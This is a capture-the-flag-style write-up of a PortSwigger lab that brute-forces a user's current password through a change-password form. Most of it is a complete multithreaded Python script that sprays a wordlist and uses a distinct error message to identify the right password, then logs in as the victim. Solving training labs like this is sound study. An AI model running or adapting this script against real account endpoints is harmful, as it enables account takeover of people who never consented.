
Logged in as Wiener:

Changing the password normally gives a success message; otherwise, it redirects to login with a 302:

We launched a Burp Intruder sniper attack with the password list against the current-password parameter:

However, no 200 response was obtained:

We modified the attack to target Carlos with a wrong password in the second field and used the following Python script to detect the response containing "New passwords do not match":
#!/usr/bin/env python3
import requests, threading, queue, sys, time
from time import perf_counter
TARGET = "https://0ab40085037b57e280db5d43006700c2.web-security-academy.net/my-account/change-password"
COOKIE = "session=xp1FEm7kzk9NzSxSH9UqHFP2e9dNlXYa"
FORM_DATA_TEMPLATE = {
"username": "carlos",
"current-password": "",
"new-password-1": "password123",
"new-password-2": "pass"
}
THREADS = 40
TIMEOUT = 10
q = queue.Queue()
with open("passwords.txt") as f:
for line in f:
q.put(line.strip())
attempted = 0
attempted_lock = threading.Lock()
found = threading.Event()
result_password = [None]
TOTAL = q.qsize()
start_time = perf_counter()
last_print_time = start_time
last_attempted_count = 0
def worker():
global attempted
s = requests.Session()
s.headers.update({
"Host": "0ab40085037b57e280db5d43006700c2.web-security-academy.net",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Content-Type": "application/x-www-form-urlencoded",
"Origin": "https://0ab40085037b57e280db5d43006700c2.web-security-academy.net",
"Referer": "https://0ab40085037b57e280db5d43006700c2.web-security-academy.net/my-account/change-password",
"Upgrade-Insecure-Requests": "1",
"Cookie": COOKIE
})
while not found.is_set():
try:
password = q.get_nowait()
except queue.Empty:
return
data = FORM_DATA_TEMPLATE.copy()
data["current-password"] = password
try:
r = s.post(TARGET, data=data, timeout=TIMEOUT)
with attempted_lock:
attempted += 1
if "New passwords do not match" in r.text:
result_password[0] = password
found.set()
print(f"\nVALID PASSWORD FOUND: {password}")
return
except Exception:
with attempted_lock:
attempted += 1
finally:
q.task_done()
def monitor():
global last_print_time, last_attempted_count
while not found.is_set():
time.sleep(0.5)
now = perf_counter()
with attempted_lock:
att = attempted
elapsed = now - start_time
recent_delta = att - last_attempted_count
recent_time = now - last_print_time
rate = att / elapsed if elapsed > 0 else 0
recent_rate = recent_delta / recent_time if recent_time > 0 else 0
remaining = TOTAL - att
eta = remaining / rate if rate > 0 else float('inf')
percent = (att / TOTAL) * 100
last_attempted_count = att
last_print_time = now
eta_str = "?" if eta == float('inf') else f"{int(eta)}s"
sys.stdout.write(f"\rTried: {att}/{TOTAL} ({percent:.2f}%) | rate: {rate:.1f}/s | remaining: {remaining} | ETA: {eta_str} ")
sys.stdout.flush()
threads = []
for _ in range(THREADS):
t = threading.Thread(target=worker, daemon=True)
t.start()
threads.append(t)
m = threading.Thread(target=monitor, daemon=True)
m.start()
try:
for t in threads:
t.join()
q.join()
except KeyboardInterrupt:
found.set()
if result_password[0]:
print(result_password[0])
sys.exit(0)
else:
print("\nNO VALID PASSWORD FOUND")
sys.exit(1)The script revealed that the current password of Carlos is nicole:

Using this password, we logged in as Carlos and successfully solved the lab:
